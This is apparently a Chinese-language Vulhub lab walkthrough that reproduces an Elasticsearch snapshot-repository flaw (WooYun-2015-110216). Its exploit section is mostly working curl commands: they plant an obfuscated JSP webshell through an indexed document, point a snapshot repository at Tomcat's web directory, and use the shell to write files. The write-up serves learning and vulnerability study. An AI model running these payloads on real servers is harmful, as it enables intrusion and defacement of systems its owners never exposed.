利用Vulnhub复现漏洞 - Elasticsearch写入webshell漏洞(WooYun-2015-110216)

Elasticsearch写入webshell漏洞(WooYun-2015-110216)

    • Vulnhub官方复现教程
      • 漏洞原理
    • 复现漏洞
      • 启动环境
    • 漏洞复现
      • 创建一个恶意索引文档
      • 创建一个恶意的存储库
      • 存储库验证并创建
      • 检验

Vulnhub官方复现教程

https://vulhub.org/#/environments/elasticsearch/WooYun-2015-110216/

漏洞原理

ElasticSearch具有备份数据的功能,用户可以传入一个路径,让其将数据备份到该路径下,且文件名和后缀都可控。

所以,如果同文件系统下还跑着其他服务,如Tomcat、PHP等,我们可以利用ElasticSearch的备份功能写入一个webshell。

和CVE-2015-5531类似,该漏洞和备份仓库有关。在elasticsearch1.5.1以后,其将备份仓库的根路径限制在配置文件的配置项path.repo中,而且如果管理员不配置该选项,则默认不能使用该功能。即使管理员配置了该选项,web路径如果不在该目录下,也无法写入webshell。所以该漏洞影响的ElasticSearch版本是1.5.x以前。

复现漏洞

启动环境

https://blog.csdn.net/JiangBuLiu/article/details/93853056
进入路径为

cd /root/vulhub/elasticsearch/WooYun-2015-110216

搭建及运行漏洞环境:

docker-compose build && docker-compose up -d

用时:6分钟

本测试环境同时运行了Tomcat和ElasticSearch,Tomcat目录在/usr/local/tomcat,web目录是/usr/local/tomcat/webapps;ElasticSearch目录在/usr/share/elasticsearch

本次复现的目标就是利用ElasticSearch,在/usr/local/tomcat/webapps目录下写入指定的webshell。

漏洞复现

创建一个恶意索引文档

在Terminal输入

curl -XPOST http://127.0.0.1:9200/yz.jsp/yz.jsp/1 -d'
{"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}
'

在这里插入图片描述

创建一个恶意的存储库

其中location的值即为要写入的路径。

这个Repositories的路径比较有意思,因为他可以写到可以访问到的任意地方,并且如果这个路径不存在的话会自动创建。那也就是说你可以通过文件访问协议创建任意的文件夹。这里我把这个路径指向到了tomcat的web部署目录,因为只要在这个文件夹创建目录Tomcat就会自动创建一个新的应用(文件名为wwwroot的话创建出来的应用名称就是wwwroot了)。

curl -XPUT 'http://127.0.0.1:9200/_snapshot/yz.jsp' -d '{
     "type": "fs",
     "settings": {
          "location": "/usr/local/tomcat/webapps/wwwroot/",
          "compress": false
     }
}'

在这里插入图片描述

存储库验证并创建

curl -XPUT "http://127.0.0.1:9200/_snapshot/yz.jsp/yz.jsp" -d '{
     "indices": "yz.jsp",
     "ignore_unavailable": "true",
     "include_global_state": false
}'

在这里插入图片描述

检验

访问http://your-ip:8080/wwwroot/indices/yz.jsp/snapshot-yz.jsp,这就是写入的webshell。
利用Vulnhub复现漏洞 - Elasticsearch写入webshell漏洞(WooYun-2015-110216)_第1张图片

该shell的作用是向wwwroot下的test.jsp文件中写入任意字符串,如:http://your-ip:8080/wwwroot/indices/yz.jsp/snapshot-yz.jsp?f=success
在这里插入图片描述再访问http://your-ip:8080//wwwroot/test.jsp就能看到success了:
在这里插入图片描述

你可能感兴趣的:(渗透)